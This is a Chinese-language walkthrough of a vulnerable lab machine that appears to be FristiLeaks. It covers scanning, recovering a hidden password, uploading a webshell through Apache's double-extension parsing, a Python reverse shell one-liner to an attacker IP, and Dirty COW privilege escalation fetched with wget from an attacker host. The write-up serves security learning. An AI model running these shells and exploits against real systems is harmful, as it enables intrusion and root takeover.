一、信息收集
1、主机发现
将mac地址改为 08:00:27:A5:A6:76,启动后在页面会显示ip地址
2、端口扫描
nmap 192.168.236.156 -p- -A
3、目录扫描
dirsearch -u http://192.168.236.156
二、漏洞探测
步骤一:访问 80端口,没找到功能点,拼接访问/robots.txt 文件,发现三条路径
步骤二:访问 /robots.txt 文件下的路径,显示相同的一张图片,提示寻找一下URL
步骤三:尝试将首页的 fristi 拼接,提示是一个管理门户网站
步骤四:f12查看源码,提示对图片进行了base64编码,发现一个用户名及base64编码字符
步骤五:将这段编码字符写入到文件中进行解码,发现是图片格式,将其再次保存为png格式进行解码
base64 -d 1.txt
base64 -d 1.txt > 1.png
步骤六:这段值可能为密码,用之前发现的用户名尝试登录,成功登录,发现文件上传功能点
eezeepz
keKkeKKeKKeKkEkkEk
三、GetShell
步骤一:尝试上传php文件,未能成功上传,扫描端口时发现 Apache 版本为2.2.15,可以尝试利用其解析漏洞
在Apache1.x/2.x版本中,Apache默认一个文件可以有多个以点分割的后缀,解析文件的规则是从右到左开始判断解析,如果后缀名为不可识别文件解析,就再往左判断。直到识别到合法后缀才进行解析。如 1.php.png
步骤二:访问上传文件,蚁剑连接
http://192.168.236.156/fristi/uploads/ggg.php.png
步骤三:上传执行系统命令的文件,使用hackbar插件,提交post数据,进行反弹shell操作
cmd=python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.236.137",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/sh")'
四、提权
步骤一:查看内核版本,发现是2.6.32版本,尝试脏牛提权
uname -r
步骤二:查找脏牛脚本
searchsploit 'Dirty COW'
步骤三:选择符合版本的文件,将其拷贝到当前目录
searchsploit -m 40839.c
步骤四:开启web服务,在shell终端下载当前文件
python3 -m http.server
wget http://192.168.236.137:8000/40839.c
步骤五:编译并运行,自己设置一个密码
gcc -pthread 40839.c -o 40839 -lcrypt
./40839
步骤六:切换用户 firefart/admin123,成功提权
步骤七:将备份文件移回去
mv /tmp/passwd.bak /etc/passwd